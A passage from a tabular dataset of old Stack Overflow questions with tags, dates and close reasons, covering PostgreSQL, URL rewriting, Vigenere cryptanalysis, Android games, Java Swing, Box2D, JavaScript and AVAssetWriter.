Copy the result of a query to a table in PostgreSQL inside function === If I execute the following command alone in PostgreSQL, it will insert the result of the query in a table called `token_relation`, but if I put this inside a PL/PGSQL function, it will try to put inside a RECORD variable. SELECT * INTO token_relation FROM textblockhastoken ORDER BY textblockid, sentence, position LIMIT 500; I want to insert in another table like when the command is execute alone. How I do this inside the function?
0
3,905,113
10/11/2010 09:50:26
350,614
05/26/2010 07:14:21
43
1
Having problem in in url
I am having a little problem, it maybe easy but i really don't know how do I get that? right now my site runs on http://www.example.com this url, but i need to run that on http://example.com also. can some body tell me here that how can i do that? Thank you in advance.
url
url-rewriting
null
null
null
10/11/2010 11:29:07
off topic
Having problem in in url === I am having a little problem, it maybe easy but i really don't know how do I get that? right now my site runs on http://www.example.com this url, but i need to run that on http://example.com also. can some body tell me here that how can i do that? Thank you in advance.
2
10,470,555
05/06/2012 12:38:38
612,703
02/11/2011 07:59:54
6
1
Vigenere cipher cryptanalysis
i have this small cipher FASHEBZHKC this is Vigenere cipher and i want to find key and then decrypt it using Freddrick test (Kappa test). can any one please write step by step procedure or any video or slides explaining in step by step. the above is just a test string so i can develop understanding to this. and i am really slow a t math and all the text i found on this topic were in pure mathematical terms. if any one can provide me a solution using simple English then it will be really helpful. Thanks
encryption
cryptography
decrypt
cryptanalysis
vigenere
05/06/2012 17:06:45
not a real question
Vigenere cipher cryptanalysis === i have this small cipher FASHEBZHKC this is Vigenere cipher and i want to find key and then decrypt it using Freddrick test (Kappa test). can any one please write step by step procedure or any video or slides explaining in step by step. the above is just a test string so i can develop understanding to this. and i am really slow a t math and all the text i found on this topic were in pure mathematical terms. if any one can provide me a solution using simple English then it will be really helpful. Thanks
1
7,069,870
08/15/2011 19:43:20
893,710
08/14/2011 08:08:43
1
0
Building Android Games
I'm kinda familiar with using flash cs5 and so i wanted to know if building android apps using flash and box2d would be better than using game engines like andEngine or rokon. Could someone pls help me out ? Thanks !!
android
null
null
null
null
03/27/2012 12:48:49
not constructive
Building Android Games === I'm kinda familiar with using flash cs5 and so i wanted to know if building android apps using flash and box2d would be better than using game engines like andEngine or rokon. Could someone pls help me out ? Thanks !!
4
8,156,485
11/16/2011 18:06:14
371,449
06/20/2010 08:51:37
1
1
jTextField not getting updated using setText
i have a jTextField whose values are getting updated after some computation. i am using setText() function to show the update but it is not getting reflected. what to do?? ---------- <code> rTextField1.setText(String.valueOf(backend.Register.r[1].b));</code>
java
swing
jtextfield
null
null
11/17/2011 11:34:46
not a real question
jTextField not getting updated using setText === i have a jTextField whose values are getting updated after some computation. i am using setText() function to show the update but it is not getting reflected. what to do?? ---------- <code> rTextField1.setText(String.valueOf(backend.Register.r[1].b));</code>
1
11,008,703
06/13/2012 05:28:15
922,140
08/31/2011 17:32:40
262
15
Collision is not working properly in BOX2D with Cocos2d Android
eginContact callback function is being called for the bodies that are not colliding. I have many bodies on the screen all are far from each other but suddenly collusion occurs and contact listener starts returning all the bodies on the screen but they are not collided actually. Can any one solve this issue?
android
box2d
cocos2d-android
null
null
null
open
Collision is not working properly in BOX2D with Cocos2d Android === eginContact callback function is being called for the bodies that are not colliding. I have many bodies on the screen all are far from each other but suddenly collusion occurs and contact listener starts returning all the bodies on the screen but they are not collided actually. Can any one solve this issue?
0
3,658,098
09/07/2010 08:50:36
341,144
05/14/2010 10:27:30
114
4
5 things you hate about javascript
I want to figure out 5 worst things about javascript. Few which I hate are: 1) variable = 5; //variable gets appended to global context 2) DOM properties and methods differences Please add more which you find most irritating parts in javascript. **I am talking about bad parts of javascript which can be avoided while programming (ex. eval, with). I am talking about the irritations which occur most frequently.**
javascript
null
null
null
null
09/07/2010 11:12:56
not constructive
5 things you hate about javascript === I want to figure out 5 worst things about javascript. Few which I hate are: 1) variable = 5; //variable gets appended to global context 2) DOM properties and methods differences Please add more which you find most irritating parts in javascript. **I am talking about bad parts of javascript which can be avoided while programming (ex. eval, with). I am talking about the irritations which occur most frequently.**
4
11,738,349
07/31/2012 10:45:58
559,664
01/01/2011 06:01:30
1,566
46
How much Duration video can be made by AVASSet Writer
I am creating Video from images using AVAssetWriter classes and I want to know is there any duration limit on video ? How much duration video can be made ?
iphone
avassetwriter
null
null
null
null
open
How much Duration video can be made by AVASSet Writer === I am creating Video from images using AVAssetWriter classes and I want to know is there any duration limit on video ? How much duration video can be made ?
0